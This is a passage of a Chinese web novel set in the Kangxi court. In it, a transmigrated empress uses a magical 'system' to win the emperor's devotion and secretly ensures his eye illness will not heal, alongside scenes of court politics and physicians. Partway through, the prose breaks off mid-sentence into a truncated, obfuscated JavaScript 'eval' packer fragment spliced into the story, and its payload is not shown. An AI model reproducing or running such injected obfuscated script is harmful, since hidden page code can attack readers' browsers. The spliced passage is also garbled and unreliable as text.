康熙把她抱得更紧,下巴抵在她发顶,声音带着压抑的颤抖,“朕查了所有医书,问了所有太医,甚至让人去西洋找方子……珠兰,你……定然不会有事。” 朕不能告诉她,朕已然在心底对天起誓,用她的孩子换来她的性命。珠兰这样心软纯善,必然不会同意朕这样做。 无论她将来如何怨朕,朕不改!这道誓言,朕会带去祭天,请天道鉴之。 他顿了顿,说,“宫里的孩子,都是朕和你的子嗣,只要你在,只要你在……” 珠兰靠在他怀里,听着他擂鼓般的心跳,嘴角勾起一抹几不可察的笑。 皇帝脑内的小剧场一定很虐,不然,系统面板上的数据不会如此疯癫的跳跃。 果然,他就好这一口。 都说虐恋情深需要外力阻碍,才能情到深处。 那么,还有什么人间的虐,比得上天意? 她笑道:“皇上这话说得,宫中子嗣自然都是皇上与妾身的孩子。” 这世上还没有绝对的避孕措施,也没有全无后遗症的打胎药,不知皇帝要用什么方法来放弃嫡子。 想来,他不会令她失望。 一颗结晶换一个梦,三十颗结晶换他“不要嫡子,只要你”。 这笔买卖,划算得很。 他变成恋爱脑不能带来任何能量结晶,但是这有利于他心中立下根深蒂固的执念——珠兰不是可以为“子嗣”牺牲的棋子,不是他爱新觉罗传承的附属品。 她的性命,她的安危,值得他放下帝王的欲望,值得他推翻“天意”。 窗外的月光透过窗棂照进来,落在两人交握的手上。 康熙还在低声念叨着要去寻更好的药材,要让太医院的院判住到养心殿来。 那个“生子即死”的噩梦,足够量了。 今夜二人相拥,珠兰于他怀中睡去,康熙看着她恬静的脸,只觉得心中安稳又甜蜜。 可他却并无睡意,沉浸于自己的世界,感动于自己对珠兰的爱不可自拔。 他思考着哲学问题,从责任到感情,从传承到陪伴,林林总总,不一而足。 自从做了那个对他而言牺牲极大的决定,甘愿不要嫡子也要留下珠兰后,他觉得即便是公认的情种父皇,也没有自己这样用情至深。 这样想着,他仿佛便全方位的超越了皇阿玛,无论是文治武功还是爱…… 养心殿的烛火还没熄透,待皇后睡熟了,他悄悄撑着扶手起身,明黄寝衣的袖口沾着昨夜未干的泪痕。 梁九功在外头捧着衣裳,伺候皇帝无声的换上,全程屏气,不敢发出哪怕一个喘声。 皇帝回望片刻,蹑手蹑脚走到案前翻着奏折。 这都是些不算重要的小事,均交给皇后处理便是,她的票拟比大学士们的好,简洁、清晰、周全。 看着珠兰俊秀的字迹,他都不觉得眼睛疼了。 直到梁九功轻声提醒“该上早朝了”,他揉了揉发沉的太阳穴,回过神后,居然又觉得眼皮重得像坠了铅。 作为敬业的帝王,太和殿的朝会不能缺,他深吸一口气,走出厅堂,珠兰还在睡呢。 他在外头换上大朝服,隔着屏风看了一眼高卧的皇后,便带着笑意大步踏出殿门。 然而,刚坐上太和殿的龙椅,眼前就开始发蒙。 底下朝臣的脸时而清晰,时而模糊,像是隔了层起雾的纱。 他想看清兵部尚书言语间的神色,目光却总飘向虚空,只能用力眨眼,试图驱散那片朦胧。 下头奏报的是东南增兵之事,珠兰的两个兄弟常泰与常海都在其中,作为一军副将往南边去。 这是一支奇兵,以从草原回来的火器营和内务府护军为骨干,征八旗良家及包衣子立起来的,一个宗室划水人员都不要,由急需戴罪立功的佟国纲领兵。 袖子下面,康熙的指节悄悄攥紧龙椅扶手。他凝神静气,强迫自己说出清晰的“准”。 他是天子,绝不能让大臣们看见自己这般狼狈。 佟国纲此时在朝中尴尬,正好去南边平事儿。他在草原上接连吃瘪,虽然都找补回来了,但自己还是觉得难受。 佟家军功起家的,能征善战的名头,怎么也不能败在他手。 心潮澎湃的老佟,一心都在南方战场洗刷败绩,压根没顾得上去仔细观察上首皇帝的情况。 听说大哥又要出征的佟国维,心里发酸,他以为怎么也该轮到自己了。都是皇帝的舅舅,怎么自己就只能在京里窝着。想起家中唯一与皇帝年纪相仿的女儿,佟国维咬了咬牙。 葛布喇心里念着两个儿子,也有些走神儿。虽然他既不管吃喝,也不管学习,但他是阿玛啊。 两孩子,怎么就能上战场了,这么多危险啊。 恪守本分的葛布喇,一心忠君之意,天地可鉴。所以,皇帝下令了,他也只能接受。 殿内的奏报声嗡嗡作响,康熙勉强支棱着耳朵听,心里却只剩一个念头:再撑会儿,等散了朝就好。 侍立在侧的梁九功注意到了皇上的异样——他眨眼的频率越来越快,目光偶尔会失焦,甚至在户部尚书米思翰奏报漕运之事时,皇上竟微微偏了偏头,像是没听清。 要知道,自从靳大人南下治河,这么多年了,海运都能撑起一片天了,漕帮就没停了生事。 以往米思瀚大人奏报漕帮与河道衙门相争之事,皇上必然要发怒,怎会如今日这般平稳划过,直接开始下一个题儿。 梁九功的心提到了嗓子眼,却不敢声张,只能暗暗用眼神示意侯在殿内的徒弟,让他去把太医院的人叫过来。 那小太监机灵着呢,溜着边弓着背一溜烟儿就走了。到了殿外,又一个小太监跟他一起走,两人出了太和门,就开始疾走。 终于熬到散朝,毫无所觉的葛布喇领着大臣们躬身退下,米思瀚下意识落后了半步,被索额图揪住了袖子,带了出去。 大殿无人后,康熙刚要起身,眼前突然一黑,酸疼的再也撑不住,只得闭上了眼。 “皇上!”梁九功连忙上前扶住他,声音都发颤了。 康熙摆摆手,示意不可惊动旁人,硬着扶着梁九功的胳膊,自己半摸索着走回了偏殿。 早已候在偏殿的御医们急忙行礼,待皇帝坐定,才敢上前轮番诊脉。 这是一个问诊团,有老有少,都是世家名医。 “皇上,您这是用眼过度,歇息不足,积劳成疾啊!”李姓老御医施针缓和皇帝目间灼热后,跪在地上,语气急切,“之前您说眼前发花、视物模糊,就是身子在示警。如今已经到了不可不重视的地步,这几日要敷药针灸,并佐以汤药内调,待有所好转后,每日用眼也绝不能超两个时辰,否则……否则这眼睛怕是要出不可逆的损伤!” 康熙靠在软榻上,闭眼听着,心里五味杂陈。 珠兰离京的那些日子,内务府的琐事、东瀛的战报、三藩的军务,全压在他一个人身上。 按理说内阁是能为他分忧的,可是这些大学士却有不少不合心意。 大学士中,他只信任葛布喇。 偏偏葛布喇是个事务官,不是庙堂学家。 他善于处理政事,是康熙放心的。 但他也太过事无巨细,无法帮助皇帝处理太多宏观事务。 比不得珠兰,做秘书工作十分高明,是他的得力臂助。 加之,觉得自己年轻,身体扛得住,常常熬夜批奏折到天明。 有时对着珠兰寄来的信发呆,想着想着就红了眼,眼泪擦了又流,也没顾得上歇。 后来珠兰回来了,他原以为能松口气,却又被接连的噩梦缠上。 每夜都梦见珠兰生子遇险,他在梦里拼命补救,醒来时冷汗浸透寝衣,再也睡不着,只能睁着眼睛到天亮。 久而久之,眼前发花的次数越来越多,眼底也越发红了,太医开的药,他要么忘了喝,要么嫌苦让梁九功倒了——他是皇帝,后宫三巨头不在,没人能管他,他自己也没把这点“小毛病”放在心上。 现在,报应来了——眼前是花的,闭眼是红的,睁开眼睛就头晕。 朕看不见…… “皇上,皇上,您……”梁九功在一旁看着,眼圈也都跟着红了,他不敢逾矩说些什么,又实在想劝劝主子,自己急的结巴,最后只能跪在地上连连磕头。 康熙没应声,心里空落落的。他挥了挥手,让梁九功赶紧起来去备辇。 只是看不见而已,又不是死了。 路上,他仍如旁日一般正襟危坐,微微眯着眼睛,看不出分毫异样。 想起珠兰揉着他的后背说“皇上要保重,江山还得您扛着呢”,那时他笑着说“无妨”。 赫舍里府 阳光漫进索尼的卧房,葛布喇和索额图一前一后走了进来。 卧榻上的索尼盖着厚锦被,脸色虽苍白,眼神却依旧清明,见两个儿子进来,便示意丫鬟扶自己坐起身:“今日朝堂上,可有什么要紧事?” 葛布喇先开口,声音沉稳:“阿玛,皇上今日下了旨,让佟国纲领一万精兵南下。” 索额图看了大哥一眼,见他没话儿了,便补充,“儿子以为,这老佟实则……是去当督战队。” “督战队?”索尼的手指轻轻叩着榻沿,眼底闪过一丝了然,“皇上这是,对南边的勋贵忍不下去了。” 索额图在一旁继续补充,“杰书、岳乐他们在福建克扣军饷,绿营和八旗的矛盾也越闹越凶,皇上前几日还动了怒,说‘再不管,南边就成一锅糊粥了’。佟国纲是皇上的亲舅,又因草原上没护好贵人,急着想戴罪立功。让他去,九成是要拿那些不规矩的自己人开刀。” 葛布喇闭上了嘴,督战队这个 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索额图应道:“父亲放心,儿子这就去安排。内务府那边,我也会跟管事的打招呼,不让赫舍里家的人再掺和军需采买的事。” 索尼看着两个儿子,脸色稍缓:“你们要记住,皇上这几年为了南边的战事一直忍着,看似温和,实则心里跟明镜似的。佟国纲过去,是为了安抚。说白了,为朝廷,收敛南方人心去的。” 他顿了顿,又道:“佟国纲性子刚直,又是个认死理的,他到了南边,肯定会按照皇帝的意思来。咱们家也得跟上,安民抚民,那个时候谁治下早安稳,谁就有功。” 葛布喇和索额图都重重点头,他们知道,父亲虽卧病在床,却把朝堂上的弯弯绕看得比谁都清楚——皇上让佟国纲南下,是督战,是削勋贵的权,赫舍里家唯有收敛锋芒,才能避开这场风波。 索尼看着窗外明媚的阳光,轻轻闭上眼:“你们出去吧,把该安排的都安排好。记住,咱们赫舍里家,要永远站在皇上这边,不能有半点差池。” 葛布喇和索额图躬身退了出去,走出卧房时,两人对视一眼,都从对方眼里看到了凝重——佟国纲南下,是皇上对勋贵的第一次敲打,而这敲打,才刚刚开始。 “三弟,家中有事我顾之不及,便托付给你了。”葛布喇天天恨不能住在南书房,连儿子都顾不上,别说族人了。 索额图也习惯大哥做族长的大撒手状态了,径直点了点头。 一般人家的兄弟,甚少有这般相处的。 两人默契的没跟老父亲说,他俩孙子也要随佟国纲南下的事儿。 往后的朝堂,怕是要变天了。让小一辈儿出去,未尝不是好事。 养心殿 珠兰提前得了消息,说皇帝要过来,来就来呗,人多热闹。 偏生,今日传信儿的小太监看着在此玩耍的玉宁、诺敏、塔娜等三人,露出难色。 诺敏见此,便拉着玉宁与塔娜主动告退。 玉宁原还想留下,皇上过来次数多了,娘娘哪里赶过她们,皇后娘娘惯常不会计较她们在皇帝身边打转的。 诺敏朝她使了个眼神,让她看小太监满头的汗。 玉宁心中一惊,朝她点点头。 两人便一齐拉着完全摸不着头脑的塔娜走了,塔娜还惦记着早膳,嘟着嘴频频回头,但也老老实实的不曾吵闹。 珠兰让吉雅禄雅从后头送走她们,点开系统面板——康熙的健康值正在缓慢下降,“眼部健康”那一栏的数字,竟已跌到了临界值,后面还跟着个刺眼的“不可逆风险”提示。 半刻钟后,皇帝被扶着下了辇,硬着自己闭着眼睛往里走,不肯叫人背进去。 此地,他闭着眼都走不错,原就是他的屋子,后来珠兰占了,他也常来。 珠兰去草原的日子,他几乎每日都要来此睹物思人,这里的一草一木他都熟记心间。 走到塌前,康熙都不用梁九功提醒,自己就坐下了。 珠兰此时才从东边暖阁过来,快步走到软榻边,伸手轻轻碰了碰康熙的手背,温声道:“皇上,可是难受?” 康熙听见她的声音,缓缓睁开眼。视线依旧模糊,只能隐约看见她的轮廓,却还是扯出个笑:“没事,就是眼睛有点累。” 这时候一众御医也过来了,特意用的是皇后有痒的名义。 “还说没事?”珠兰拿过梁九功呈来的脉案,看着上面御医标注“积劳成疾,需静养”的字样,语气里带了点嗔怪,“之前让你歇着,你不听;让你喝药,你也不喝。现在知道难受了?” 一众御医低着头,听见这话,恨不能自己没带耳朵。 太监宫女也都溜着墙边站着,假装自己是壁画。 康熙抬头看着她模糊的身影,忽然觉得眼眶有些凉意,眼睛也没那么难受了。 珠兰伸手去碰触他的眉心,“可不能糟践自己的身子了。”健康掉的这么快,也不全是珠兰调整皇帝外貌属性导致的,有一大部分是他自己作的。照这么玩儿,她怕是要早做寡妇了。 他伸手攥住她的手,声音低哑:“以前总觉得撑得住,现在才知道……没有你在身边盯着,朕连自己的身子都管不好。”在她面前,他难得有了弱势之态。 梁九功听了这话,惊讶的睁大眼睛,又赶紧低下头。 珠兰话语软了下来,拍了拍他的手:“往后我盯着,药按时喝,觉也得睡够。要是再不听话……” “朕听话。”康熙连忙打断她,像个认错的孩子,“往后都听娘子的。” 珠兰看着他这副突然出现的怠懒样子,作又气又笑之态。话本子看多了,娘子都出来了。 虽然皇帝看不见,戏份还是要唱的。 两口子旁若无人,说了好半天体己话。 待皇帝有些倦怠了,珠兰才转头对梁九功说:“这几日就住在这边,便说是本宫身体不适,皇上不放心。你把皇上要批阅的奏折都搬到养心殿,每日我看着女官们,挑重要的念给皇上听。还有,太医院的药,你亲自盯着,要是少了一碗,唯你是问。” 梁九功见皇帝完全不反对,连忙应下:“奴才遵旨!” 说完,这就带着人回去搬东西,看样子皇上是要长住在养心殿了。 跟过来的御医们又七嘴八舌的叮嘱了“不可劳心、不可熬夜”,才躬身退下。 他们嘴巴都紧,皇帝的消息不会往外透露。 大殿里安静下来,康熙靠在珠兰怀里,闻着她身上熟悉的茉莉香气,只觉得眼皮越来越沉。 “珠兰,”他轻声说,“朕以前总以为,天子就该扛下所有。可是,有你在,朕才能真的安心。” 他眼睛看不到,就不想回乾清宫,直接就来了养心殿。 珠兰没说话,只是轻轻拍着他的背。 温情背后,她看着系统面板上“眼部健康”的数字,心里有了计较。 只要放十颗涟漪级能量结晶下去,皇帝的眼睛就再也养不回去了。 96. 秉烛夜谈 康熙的指尖刚触到养心殿的门帘,就下意识朝珠兰的方向伸去。 自从眼睛看不清后,他便再没回乾清宫。 太皇太后召他去慈宁宫,都被他找托词拒了。 只有待在珠兰身边,闻着她身上熟悉的茉莉香,他那颗悬着的心才能落地。 这就是爱,他深信不疑。 乾清宫人多眼杂,皇帝信不过梁九功短时间内能料理干净。 他却十分信任珠兰御下的能力,养心殿定然被她经营的水泼不进。 皇帝的演技十分精湛,在他如常上朝之时,朝中基本无人看出他眼睛不方便。 身边晓得此事的,皆为心腹之人。 此时此刻,他不能露出一丝破绽。 只是辛苦珠兰,要受一段时间的闲言碎语了。 “回来了?”受到“椒房独宠”的皇后迎上前,自然地扶住他的胳膊,“刚让小厨房温了枸杞莲子羹,先喝一碗垫垫?” 康熙点点头,微微闭上眼睛,任由她牵着自己的手坐到软榻上。 殿内的烛火调得柔和,六名女官已按部就班立在案前,吉雅捧着户部奏折,禄雅手里是工部的,尼雅、图雅、春苒、夏苼也各有分工,将六部及其他部堂的文书梳理得整整齐齐。 养心殿内,女官们都经历过内务府事务的磨练,实战经验丰富,转任前朝当官也是没问题的,她们每个人都比科举选出来的才子们更会处置政事。 这是珠兰的主意,知道他眼睛不便,便让女官们先按部门分类,提取出奏折核心与大学士的票拟,再轮流念给他听。 “开始吧。”珠兰轻声道。 吉雅率先开口,声音清晰:“户部奏报,江南今年增收粮米二十万石,其中苏州府、松江府超额完成;地方藩库方面,广东、福建因平叛后民生艰难,税银较去年跌了七成;国库现存白银一千八百万两,另存粮三千万石,足够支撑东南军需半年有余。” 康熙闭着眼,手指轻轻叩着膝盖。朝廷垄断海洋贸易后,白花花的银子从商部流入国库,又哗啦啦的从户部流出,天下之大,各地都要用银子,河工、赈灾、兵事……便没有个清静时候。 以往看奏折,总是一本接一本,谁的先递送上来,就看谁的。刚看完工部的河堤修缮,又跳过户部的钱粮核算,大臣又爱卖弄文采,甚至写的似是而非的,康熙的脑子常常需要从一团浆糊中梳理脉络。 如今听着女官归纳,从中央到地方,从税收到库存,核心要义、条理分明,像串起来的珠子,脉络瞬间在他心里清晰起来。 “嗯,江南的差事办得好,让户部给苏州、松江知府记功。”他沉声吩咐,语气沉稳,听不出半分视物不清的窘迫。 珠兰看着他,眼睛微微闭合,神态自若,并不损半分俊秀之态,反而凭空添了些许、些许说不清的感觉。 莫非是,灯下看美人之故? 接着是禄雅念工部奏折,从黄河堤坝加固进度,到西洋火器作坊的新造火炮数量,一一禀报。 皇帝的容颜,已经在一重又一重的观察点投入之中,被修改到原生相貌的最佳。张开后的五官,没有走任何弯路,每一处都是恰到好处。 珠兰微笑,这才对嘛,将来还有几十年要对着的脸,怎么能不好看呢。 系统:关键是便宜吧。 珠兰:你不懂女人。 康熙听得认真,偶尔打断追问:“新造的火炮可装配否?先送八旗军,绿营暂缓。”“黄河中游的堤坝,靳辅用的是柯尔坤带回的西洋法子吗?水泥混凝土供给可足,是否需要再发役夫前去?”女官一一记下,小太监跑着送去前头南书房给大学士们。 待六名女官念完所有重要奏折,梁九功早已备好笔墨,小心翼翼扶着康熙的手,将他引到案前。 令人惊叹的是,康熙虽看不见,指尖触到宣纸的刹那,手腕却稳得惊人。 笔锋落下,字迹遒劲有力,与平日几乎毫无二致——这盲写的功夫,也不知是何时所练,着实令人惊叹。 “今日这样处理,倒比往常清楚多了。”批完最后一本奏折,康熙放下笔,长长舒了口气。 他转头朝珠兰的方向望去,虽看不清她的脸,却能准确握住她的手,“以往你只帮朕看些请安折子、宗室折子,没想到整理这些杂七杂八的奏本,竟有这般章法。” 珠兰笑了笑,顺势靠在他肩头,“不过是让女官们多费些心,把人事财物归归类。皇上心思清明,一听便懂。” 康熙摇头,语气里满是真切,“若不是你的功劳,朕今日还得像从前一样,被奏折绕得头晕。” 皇帝向来事无巨细都要抓在手里,看不见之后,总怕有什么事被瞒了、漏了。 珠兰事事汇报,连女官整理奏折的法子,都先跟他商量,这让他心里踏实。 他顿了顿,指尖轻轻摩挲着她的手背:“有你在,真好。有你在,朕便觉得,就算看不见,这江山也还在朕的掌控。” 殿外的夜风吹过窗棂,带着几分凉意,殿内却暖融融的。 烛火映着两人交握的手,映着案上整齐叠放的奏折,也映着康熙脸上那份失而复得的安心。 珠兰望着他虽闭着眼,却不再紧绷的侧脸——他住在这里,不止是信任,更是把她当成了能依靠的“眼”,当成了乱局中最稳的那根支柱。 养心殿的夜静得只剩烛火噼啪声,珠兰将最后一本奏折归类放好,抬头便见康熙正靠在软榻上,指尖无意识地摩挲着茶盏边缘。 这两日借着念奏折的由头,她带着吉雅、禄雅几人,把朝中脉络摸得了七七八八——六部便不说了,理不清的乱局处处都是。 海事衙门掌着海军,还勾连东洋南洋的商路;商部管着海贸,也插手内陆贸易;理藩院对接蒙古、西藏,对商路也有觊觎,几次往草原上使绊子,想要插一脚进来。通政司负责密折传递,各处都有影子。 这些部门看似各司其职,实则处处是交叉重叠。 “皇上,”珠兰走过去坐下,递上一杯温茶,“瞧着朝中部门设置,倒跟内务府从前的乱象有些像。就说河工的事,工部要管堤坝修缮,户部要批钱粮,理藩院还要掺手蒙古、宁夏地界的河道,一件事要跑三个衙门,未免太费功夫。” 康熙接过茶,嘴角勾起一抹淡笑:“珠兰可是以为朕不知?数千年以来,帝王驭下之术,莫不如是。设官分职而部司交错、权责含混,方需朕为裁断;事有暧昧难明之处,臣工始不敢专擅决断,是非功过皆出朕躬。此乃驭下之要,亦为君臣相处之常道也。” 珠兰一愣,没想到皇帝居然将帝王心术说了出来,还说得这般直白。 系统面板上,皇帝的信任在缓慢上涨。 他放下茶盏,指尖轻轻叩着案面,面上带着理所当然之态,“卿言冗官冗员之弊,朕岂不知?然若裁并衙门、厘定权责,使诸臣各守其分、各司其事,便无人趋奉奏请、叩问圣裁。权柄之道,本就于这般纷扰中握持。政务稍缓何惧?奸蠹渐生又何惧?唯朕掌揽大权,江山方得永固。” 珠兰握着茶杯的手紧了紧,她原以为康熙只是暂时没意识到制度的问题,却没想到他竟是故意为之——为了集权,甘愿牺牲行政效率;为了攥权,默许 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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皇帝听她说着,是又对江南没了兴趣,转而提起东南战事,“杰书、岳乐等人在南边久了,军权握得紧,通政司与粘杆处都递了奏折,说他们私下克扣军饷,还借着平叛的名义私人圈了不少良田。” 康熙的脸色瞬间沉了下来,“此前数日正筹思申儆——宗室子弟手握兵柄,久则必生贰心。当令其知晓:兵权乃朕所授,朕欲收之,便可得之。” “那绿营呢?”所以,您就一点都不关心东南还有没有您的子民?只盯着军权? 珠兰仿佛不经意间问,“前几日绿营与八旗在福建抢粮,绿营占理,您却只斥责了绿营将领。” “因为我们是旗人。”康熙的语气斩钉截铁,没有半分犹豫,“八旗乃大清之根本,绿营纵善,终属汉人。朕护持八旗,即所以护爱新觉罗之社稷也。汉人可代朕征战、供役,然断不可令其生与旗人比肩之心。” 烛火映着康熙的脸,他的眼神坚定,带着帝王对权力的绝对掌控欲,却也透着对旧制度的固执。 珠兰看着他,她能借着梦境稳固他对自己的感情,能借着整理奏折插入前朝事务,却撼动不了他骨子里的认知。 他是爱新觉罗的天子,要的是集权,是旗人的特权,是江山永固;而她想的,是效率,是公平,是让制度跟上生产力的脚步。 所求不同,理念相悖,这道鸿沟,不是一两场谈话、一两个梦境就能填平的。 系统:前番已然论证,人类要满足的不是欲望的对象,而是自己的欲望。贪嗔痴怨憎,皆由此而起。人是利己自私的,这是真实的人性。虽为天子,亦是人也。 珠兰端起茶杯抿了一口,打开系统面板,将十颗涟漪级能量结晶放了进去。 97. 双目未愈 养心殿的偏门推开条缝,一股带着银丝炭的暖气流出来,裹着淡淡的药香。 李院判领着三个或年老或年轻的御医走出来,刚踏上廊下的青石板,身后的门就轻轻合上了。 走在最后的御医还没长胡子,是今年刚提拔的,名叫周谨,家中是医药世家,医术超群,且与院判有些亲戚关系,性子还带着几分没磨掉的憨直。 他左右瞅了瞅,见廊下只有扫地的小太监在远处忙活,便快步追上李院判,压低声音问:“师父,您给皇上下的方子,怎么都是些温和的药材?弟子瞧着皇上的眼疾,是长期劳累积下的肝火上炎,用‘清肝明目汤’再配着‘黄连膏’外敷,三天就能见效啊!您开的这‘枸杞菊花散’、‘珍珠敷眼方’,也太四平八稳了……” 话还没说完,李院判抬手就给了他一个脑瓜崩,“啪”的一声轻响,在安静的宫道上格外清晰。 他左右看看,“你这小子,毛躁劲儿什么时候能改改?”老御医的声音压得更低,眼神却带着几分严厉,“贵人的身子,是民间百姓能比的?你当在乡下给农夫治病呢,抓几副虎狼药,就能猛药去疴?” 周谨捂着额头往后缩了缩,眼眶有点发红,却还是不服气:“可皇上的眼疾已经到了……,再拖下去……” “拖?”李院判冷笑一声,指了指旁边两个垂手站着、不敢吭声的大弟子,“你问问你大师兄、二师兄,他们敢跟你似的瞎琢磨?给贵人用药,讲究的是‘周全’二字,不是‘速效’之法。皇上是万金之躯,肝火旺是真,可常年熬夜、心神不宁也是根由——你那‘清肝明目汤’里有龙胆草,性寒,是能快些降肝火,可伤了皇上的脾胃怎么办?‘黄连膏’虽能清热,可皇上眼周皮肤薄,万一敷着发了红,算你的还是算我的?” 胡子花白的大弟子连忙上前打圆场,低声道:“小师弟,师父说得对。前几年庄亲王得了风寒,有个太医开了麻黄汤,是两天就退了烧,可亲王底子虚,愣是咳了半个月,最后那太医因为毛躁被调去了盛京当差。咱们太医院的规矩,就是‘稳’字当头。” 同样一把胡子的二弟子也跟着点头,小声说:“对,民间治病是‘急则治其标’,可给贵人用药,得‘缓则治其本’。皇上这眼疾,不是一天两天熬出来的,哪能指望三天就好?慢慢调理,把肝火平下去,把心神养回来,才是正经。” 周谨捂着额头,这才蔫蔫地点了点头。 他想起刚进太医院时,师父就教过“用药三忌”:忌猛药、忌速效、忌偏性,只是今日见皇上闭着眼听奏折的模样,实在急得慌,才忘了规矩。 李院判见他听进去了,语气才软了些,“不是师父不让你治病,是咱们伺候的是天子,一步都错不得。你想想,若是用了你的药,三天眼疾好了,可皇上要是觉得脾胃不舒服,或是后续又反复了,到时候追责下来,你我都担待不起。四平八稳的药虽见效慢,可胜在安全,能把所有风险都考虑到——这才是给贵人用药的门道。” 几人说着话,慢慢走到宫门口。 周谨回头望了眼养心殿的方向,心里暗暗叹气:明明三天就能好的眼疾,这么一折腾,怕是十三天都不见得能痊愈。 可他也明白,在这皇宫里,用药的规矩比治病的效果更重要,哪怕是为了皇上好,也不能坏了这“周全”二字。 李院判拍了拍他的肩膀:“往后多学着点,别总想着民间的法子。在太医院当差,稳比什么都强。”这小子虽然不开窍,但是世交家的孩子,他怎么也得把他带出来才行,太医院就那么两三家知根知底的,必然要相互提携,才好世代有这碗皇家的饭吃。 周谨点点头,跟着师父往太医院的方向走。 廊下的风渐渐大了些,吹得宫灯轻轻摇晃,他望着师父的背影,觉得这太医院的门道,比他在家学的那些药方,要复杂得多。 太医院的人进出养心殿,总绕不开“皇后身子不适”的由头。 李院判领着御医们来诊脉时,头先得跟宫门口的侍卫念叨一句“给皇后娘娘请平安脉”;回去后入档的脉案,也全是“皇后偶感肝火,需温和调理”的字样,真正关乎皇帝眼疾的记录,被梁九功锁进了养心殿的暗柜,连太医院的人都碰不着。 这般遮掩了三日,慈宁宫与寿康宫的问讯就递了过来。 太皇太后、太后都派人来传话说“想瞧瞧皇后的脉案”,李院判没法子,只能把那份“皇后肝火上升”的假脉案抄了一份,让人送往两宫。 太后本就不懂医术,看了脉案只跟着忧心,“珠兰这孩子,定是伺候皇上太劳累了,可得好好歇着。” 可脉案送到慈宁宫,苏麻喇姑只扫了一眼药方,眉头就皱了起来。 “格格,这方子是平肝火的,可皇后娘娘前几日来慈宁宫,面色红润,说话中气十足,哪有半分肝火上升的样子?”苏麻喇姑把脉案递到太皇太后面前,语气里带着疑惑,“皇上这几日也蹊跷,往常再忙,每日也得来慈宁宫站一站,这都三天了,连个人影都没见着,天天就跟皇后娘娘黏在一起。” 太皇太后捏着脉案,指尖轻轻划过“温和调理”四个字,眼底闪过一丝了然。 “去请皇后娘娘。” 不多时,皇后便到了。 她抬眼看向站在下首的珠兰,手里的纸“哗啦”抖了一下,语气带着几分试探,“珠兰,你跟哀家说实话,养心殿里到底出了什么事?非得拿假脉案糊弄人?” 珠兰早知老太太要问,面上立刻堆起委屈的神色,快步凑到太皇太后身边,伸手挽住她的胳膊轻轻晃着,“皇祖母,您别逼我呀。” 太皇太后皱皱眉,嘴角却是翘起来的。 珠兰垂下眼睫,声音放软,“不是臣妾故意瞒您,是皇上特意吩咐了,不让往外说……” “他不让说,你就真不说?”太皇太后故作愠怒,可看着珠兰这副撒娇耍赖的模样,想起草原上她亲来救驾的狼狈焦急样子,心里的气散了大半。 自草原之行后,她对珠兰的亲密度突破了60,祖孙相处模式大变。 如今见她眼底带着点可怜,竟不忍心再逼问。 太皇太后早有疑心,皇帝向来恪守规矩,就算再宠皇后,也从没在养心殿留宿过,这几日却连乾清宫都不回。 再说上朝,虽听人说“皇上照常理政”,可她召他来慈宁宫,他竟以“政务繁忙”推脱——这孩子打小就尊重她,从来不敢这般敷衍,若不是出了什么不能说的事,断不会如此。 方才召珠兰来,本是想“诈”她一诈,可看她这咬牙不肯松口的模样,太皇太后反倒软了心。 她拍了拍珠兰的手,无奈地叹了口气:“罢了罢了,哀家不逼你。只是你回去跟皇上说,他要是再不来慈宁宫,哀家可就自己去养心殿找他了。” 珠兰连忙点头,笑着应下:“臣妾一定把话带到!”说着又黏着太皇太后说了几句家常,才脚步轻快地退了出去。 待珠兰走后,太皇太后脸上的温和瞬间敛去,转头对苏麻喇姑道:“你去太和殿门口等着,皇上散朝后,务必把他请来慈宁宫。就说哀家身子不舒服,要是他不来,老太婆就亲自去养心殿。” 苏麻喇姑心里一凛,晓得自家主子的意思,连忙躬身应道:“奴才遵旨。” 太皇太后这话不是玩笑——若皇上真敢再躲,这位历经三朝的老人,真能放下身段去养心殿,到时候,再大的遮掩,也得露馅。 慈宁宫的窗棂透进午后的阳光,太皇太后捏着那份假脉案,指尖微微用力。 她虽不忍心逼珠兰,却也容不得皇帝这般瞒着掖着。 这两个孩子,定是有什么猫腻,今日无论如何,也得把真相问出来。 太和殿的朝会刚散,官员们躬身退下时,康熙扶着梁九功的手,眯着眼睛出来,熟门熟路的正准备迈上轿辇。 一阵熟悉的脚步声从旁传来,他不用看也知道是苏麻喇姑——那脚步轻而稳,带着幼时无数次催他起身读书的熟悉节奏。 康熙心里微沉,旁人或许看不出他的异样,可这位自小照顾他的老人,眼尖心细,怕是瞒不过去。 他停下脚步,对梁九功低声吩咐:“把苏麻喇姑请去偏殿。” 偏殿里只点了一盏烛,光线柔和却也昏暗。 苏麻喇姑刚进门就屈膝行礼:“奴才给皇上请安。” “免礼,近前来。”康熙的声音带着几分刻意的平静,可坐在椅上的身子,却下意识微微偏了偏——他怕苏麻喇姑看清自己眼底的红,更怕她瞧见自己视物时那抹不自觉的茫然。 苏麻喇姑依言上前,刚走两步,目光就定在了康熙的眼睛上。 往日里清亮锐利的眸子,此刻半睁着,眼尾泛着红,连眨眼的动作都带着几分滞涩。 她心里“咯噔”一下,脚步猛地顿住,声音都发颤了,“皇上……您的眼睛这是怎么了?” 康熙知道瞒不住,长叹了口气,靠在椅背上,语气放软,“没什么大事,就是前些日子熬夜批奏折,肝火上涌,把眼睛熬坏了。太医院开了药,这三日用下来,已经好多了。” “好多了?”苏麻喇姑往前凑了凑,想伸手摸摸他的眼睛,指尖抬到半空,又猛地缩了回去——她是奴才,哪敢碰天子的龙颜。 可看着皇帝这副模样,心疼与着急像两股绳子,紧紧攥着她的心脏,让她一时竟不知道说什么好。 想起太皇太后在慈宁宫的吩咐,想起格格说“要是皇上不来,我就亲自去养心殿”,她连忙往后退了半步,就要屈膝下跪,“皇上,太皇太后还在宫里等着您呢,她……” “朕知道。”康熙模糊中瞥见她屈膝的动作,连忙伸手一把捞住她的手腕,力道之大,连自己都没察觉,“您别跪,朕这就随您去慈宁宫。” 他何尝不知道苏麻喇姑的来意,太皇太后召了他三次,他都以“政务忙”推脱,如今苏麻喇姑亲自来请,再躲下去,只会让老人家更疑心。 再一说,对着苏麻喇姑,对着太皇太后,他也实在硬不起心肠再瞒。 苏麻喇姑被他攥着手腕,只觉得皇帝的指尖有些凉,也有些抖。 她抬头看着康熙苍白的脸色,眼眶微微发红:“皇上,您早该跟老祖宗说的。老祖宗要是知道您伤了眼睛,哪会让您这么硬撑着?” 